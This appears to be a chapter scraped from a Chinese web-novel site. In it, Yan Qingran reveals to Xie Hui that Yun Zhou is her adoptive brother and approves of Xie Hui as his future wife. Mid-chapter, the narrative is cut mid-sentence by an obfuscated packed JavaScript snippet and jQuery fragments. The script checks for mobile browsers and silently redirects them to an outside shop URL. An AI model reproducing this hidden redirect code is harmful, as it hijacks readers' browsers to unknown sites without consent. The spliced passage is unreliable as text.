默认冷灰
24号文字
方正启体

34. 把关

作者:十三喵本书字数:K更新时间:
    可惜上天没听到他的祈求,云父死了,不但死了,连尸身都被一场大火焚了个干净。


    方氏的人害怕他再如之前一样,金蝉脱壳,将他连人带屋一把火烧了。


    他们带着柯家商行的人返回去时,那些人已经走了,几人在火堆中找了很久,总共也不过找到几块零碎的残骨并一把烧得焦黑的剑。


    那是云父从不离身的软剑。


    云舟伤心欲绝,不愿离开。而晏青染怕那些人去而复返,也为了能让他好好的活下去,将破庙之事跟他说了。


    与其让他恨一个遥不可及,从未见过面的人,倒不如让他先恨她,起码这能让他先活下去,有了仇恨的目标,才能活下去。


    后面两年,他们一直以一种奇怪的模式相处着。他恨,她愧疚;他杀不了她,也离不开她;她等着他来杀她,也不会放他离开。


    这种病态的坚持一直到京城外的那次刺杀,那原本刺向他命脉的剑,戳在了莫问的胸口上,所有的假象瞬间成了泡沫,一碰就碎。


    这些年,她看似在怨云舟,又岂不是和他当初一样,就是想寻个活下去的借口。


    她一直都知道,他心中的痛,比她只多不少,要不然当年也不会主动去勾搭这货。


    “你爱云舟吗?”她突然问她。


    谢慧愣住。


    刚刚不是她在问她的吗?


    她以为她沉默了半天,是在想怎么回答呢。


    “你爱云舟吗?”晏青染又问了一遍。


    谢慧一时情急,开口就是:“爱,我很爱他。”


    不知为何,她总感觉再不开口,这人不会再给她第三次机会。


    “好,”晏青染嘴角弯起,“既爱他,就保护好他。”


    “我相信以你的手段,足够护他此生无忧。”


    谢慧蹙了蹙眉头,这话怎么说的跟交代遗言似的。


    她刚想开口,就被突如其来的敲门声打断。


    “大人,是我。”外头传来云苓的声音。


    “进来。”晏青染道。


    谢慧再看过去,她已耷拉下眼帘,看不出任何情绪。


    云苓捧着茶点先往她那边走的,她却抬了抬手,道:“先给谢大人斟茶。”


    云苓照办,倒了茶,将点心也放在了谢慧面前,做完这些,才去给晏青染倒。


    唯一的差别就是,态度上的变化。


    倒茶的时候,人换了一副讨好的嘴脸:“大人,您最喜欢的云雾茶,喝喝看,温度可适宜?”


    晏青染看了她一眼,并没有敷衍,认真的抿了一口,然后笑道:“甚好。”


    谢慧看那仆人立马眉开眼笑起来,“当真?”


    “那大人,以后但凡泡茶的工作,都让奴才来。”


    自从那位范护卫来了后,她就清闲了下来。


    大人的俸禄本就不多,怕是再难养一个闲人。


    晏青染笑道,“可。”


    她当然知道她为何这般,自范陈来了之后,她情绪便有些不对,无非就是担心范陈抢了她的工作。


    她原就没打算弃了她,且不说只多一张嘴的事,她跟了她三年,忠心勤勉,弃了她,她到哪儿再去找这么趁手的仆从。


    “什么,”云苓一脸的惊讶,“大人,您答应了?”


    晏青染又郑重其事的点了一下头:“嗯。”


    云苓欢呼一声,留下一句:“大人,奴才就不打扰您了,您有事喊一声,奴才立马就到。”


    晏青染看着她傻乎乎的离开模样,不免发笑,回头正对上谢慧的视线。


    她笑了笑,“家中仆从少礼了些,谢大人勿怪。”


    谢慧从小就被教导尊卑有别,家中规矩大的很,奴才们别说跟主子如此对话,便是抬头多看一眼,都是大大的不敬。


    这人,似乎一直就这样假模假样的,唯独对上云舟,几乎从不见好颜色。


    她突然紧皱了眉头,因为她发现,云舟分明与这人像极了,不是外表像,而是脾性。


    简直一模一样。


    对外对内,两副面孔。


    看似亲和,实则谁都没走进他们心中。


    “谢大人尝尝,云雾茶,庐山特有的品种。”


    她似乎并未想要她的回答,抬手做了个请的姿势。


    谢慧回过神,端起茶品了一口。


    庐山云雾,听说在九江当地极受欢迎,和京城不同,京城人士多喜欢西湖龙井,抑或是黄山毛峰。


    她喝了一口,味道不算难以接受,比毛峰要醇厚。


    相对来说,她更习惯毛峰。


    清新淡雅。


    晏青染看她面色,便猜她喝不惯。


    不过,喝不喝的惯,怕是由不得她来决定。


    她转了转手中茶碗,笑道:“庐山云雾,我义父的最爱。”


    “他曾说过,在庐山的那段岁月,是他人生中最美好的一段日子。”


    不过,他后面紧接的一句便是,若重来一次,他不愿再遇上那人,更不愿再跟他归京。


    只不过这句,说给谢慧听不合适。


    谢慧放下杯子,疑惑的看向她。


    虽跟不上她的思路,但总觉得她的每一句话都有目的性。


    她突然提起她的义父,绝不会无的放矢,必是与她也有关联的。


    而她们之间的唯一的牵连,就是云舟,难道是......


    “你的义父是?”与云舟相关的,任何事情她都不想错过。


    晏青染微微一笑,道:“我的义父姓云,单名一个澄字,想必你应该不会陌生。”


    谢慧脸色乍变,果然是。


    京中一直都有传言,说郑国公有个极爱的早死原配,就姓云,她也是结识了云舟之后才去查的,就是叫云澄这个名字。


    至于他为何早死,早死后又是怎么复活,还生下云舟的,她一点点线索都查不到。


    她只知道一点,云舟和她相识后不久,郑成礼就动用了方家的暗线,想杀了他,后面是方氏一人承担下所有,才让郑成礼成功脱了身。


    至于云氏的早死,这之中有没有方氏的手笔,她不知道,但这世家后宅里的阴私手段向来层出不穷,那方氏多半就是云父假死失踪的主使。


    “你为什么要告诉我这些?”她问。


    似乎是为了避嫌,除了将云舟安全送回国公府一事她亲力亲为,这些年他们几乎在明面儿上从未有过联系。


    也就她偶然碰见过一次她跟莫公子在一起,这才慢慢拼凑出大概。


    也正是那次,她看到了云舟看向她的目光,复杂且不甘,她终于知道,为何云舟对自己总是若即若离的。


    他原以为是碍着她那层郑成礼未婚妻的身份,原来不是,原来自始至终,她不过是他用来当做对付郑成礼的工具而已。


    骄傲如她,自是及时止损方为上策。


    本就定好的外放,她自结识他后便一直左右摇摆不定,甚至动了去求皇帝换人的念头,得知他喜欢的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17558045|203116||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    另有他人之后,她恨不得立马就去上任。


    可情不知所起,一往而深,丢在他身上的心,如何是她想拿回便能拿回的。


    去锦城的头半年里,她将全副身心都投入了锦城的整治中,大刀阔斧地改革,惩治贪污官吏,清理世家蛀虫,将所有事情都做到了极致,就连皇帝都给她下了恩赏的圣旨。


    可只有她知道,她不能停下,心那一块是空的,只要停下,就会想他,想的整个胸腔都痛,痛不欲生。


    是以,她决定放过自己,既舍弃不掉,那就继续,利用也罢,不喜欢自己也罢,只要他还是她的,就行。


    想通了,她连一秒都不愿多等,当即便手书一封,寄回京城。


    她知道,他的父亲一直不喜郑成礼,那他便是她的第一个突破口。


    果然,父亲成了她的最佳盟友,劝说顽固母亲成了他的任务。


    而她的任务,就是郑国公。


    郑国公既爱极了她早死的原配,那这原配给她留下的唯一的儿子,她必然也会将最好的都留给他。


    潜移默化的引导她主动开口换亲,并不容易,好在虽费了些时间,但最后都如愿以偿了,在她回京之前,将两人的名分彻底定了下来。


    她早早地回京,就是想能更早地见到他,谁知这小没良心的,她找到哪儿,他便躲到其他地方去。


    听到他连夜去贡院外守着,就为了接晏青染,她当时就气炸了。


    原来所有的不在意都是假的,她在意,她踏马的太在意了。


    纵使他开口解释,是替莫问守着的,她的人也证明了,莫公子就在另外一边守着,她也是满腔的醋意。


    对她,他就是避之不及。


    对晏青染,纵使看着不对付,却满心满眼的都是她。


    晏青染并没有回答他的问题,只道:“我就这么一个弟弟,自然是要替他好好把把关的。”


    “目前而言,你在我这儿算过关了。”


    她将手中的杯子举起:“记得以后多喝喝云雾,喝多了就习惯了。”


    “你......”谢慧动了动嘴角,最后郑重其事的起身,行了个礼,“是,多谢大姑姐提点。”


    晏青染笑了笑:“行,这声大姑姐我受了。”


    “你早些带他回去吧,阿问要休息了。”


    谢慧抬头看她,然后点头道:“好,我这就去带他回去。”


    走至门边,她顿了顿,回头看她:“我们来时,阿舟特意交代了要隐藏踪迹,没人看到我们来。”


    晏青染愣了愣,片刻后笑了笑,道了一声:“多谢。”


    谢慧盯着她瞧了半响。


    她听不懂这句谢谢背后的含义,到底是谢她隐藏踪迹的事,还是其他的。


    不过总归不会是什么坏事。


    他们原来是姐弟,那云舟对她,或者只是当姐姐来看待的。


    因为是亲人,所有不要戴着假面,想怎么做便怎么做,想怎么说便怎么说。


    自己何时才能有这份幸运,云舟也将她当成那最亲近的人,喜、笑、嗔、哭,所有情绪皆露于表。


    会有那么一天吗?不,一定会有那么一天的!


    晏青染看她离去的步伐突然间就轻松了起来,皱了皱眉头。


    这人,是不是脑补多了?


    她不会以为她谢谢她,是因为她帮着隐藏踪迹,没暴露他们自己吧?


    她谢她只是因为云舟,谢谢她真心爱护云舟,心疼云舟。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)